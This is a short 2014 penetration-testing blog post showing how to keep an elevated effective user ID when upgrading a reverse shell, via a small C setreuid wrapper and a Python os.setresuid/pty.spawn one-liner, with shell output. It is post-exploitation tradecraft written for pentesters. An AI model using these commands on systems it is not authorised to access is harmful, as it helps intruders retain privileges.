PentestsPL

PANhandler from /dev/null

Linux - spawn bash with id elevation

Sometimes during penetration test you can end in situation like that:

$ id uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>) $ whoami <user2>

Mostly it will be remote reverse shells and going:

$ /bin/bash

is not an option xD

There is a nice way to escape from that typing:

$ python -c ‘import pty;pty.spawn(“/bin/bash”)’

it works nice and makes your life easier… but in situation like that one you will end with something like that:

$ whoami <user2> $ id uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>) $ python -c 'import pty;pty.spawn("/bin/bash")' bash-4.2$ whoami whoami <user1> bash-4.2$ id id uid=1000(<user1>) gid=1000(<group1>) groups=1000(<group1>) bash-4.2$

As you can see we went back to user1 loosing privileges from user2. When I had to deal with problem like that one I found this solution:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setreuid(1001,1001);
    setegid(1001);
    system("/bin/sh");
    return 0;
}

Unfortunately, most of the times you will have to compile binary somewhere else and then copy it to target, but in return you get this:

$ whoami <user2> $ id uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>) $ ./id_ele whoami <user2> id uid=1001(<user2>) gid=1000(<user1>) groups=1001(<group2>),1000(<group1>) python -c 'import pty;pty.spawn("/bin/bash")' <user2>@host:/

It is working and you are now user2. That solution is nice and it helped me a lot but after while I sat and asked myself: “Why not use some Python magic?”. I’m not very familiar with Python but I’ve found easily method I was looking for:

os.setresuid(ruid, euid, suid)

Set the current process’s real, effective, and saved user ids.
Availability: Unix.
New in version 2.7.

So now shell-spawning command will look like that:

python -c ‘import os,pty; os.setresuid(new_id,new_id,new_id); pty.spawn(“/bin/bash”)’

Let’s give it a try:

$ whoami <user2> $ id uid=1000(<user1>) gid=1000(<group1>) euid=1001(<user2>) groups=1001(<group2>),1000(<group1>) $ python -c 'import os,pty; os.setresuid(1001,1001,1001); pty.spawn("/bin/bash")' <user2>@host:/$ whoami whoami <user2> <user2>@host:/$ id id uid=1001(<user2>) gid=1000(<user1>) groups=1001(<group2>),1000(<group1>) <user2>@host:/$

Mission accomplished! No compiling, fast, easy, working. Enjoy!

Written on May 28, 2014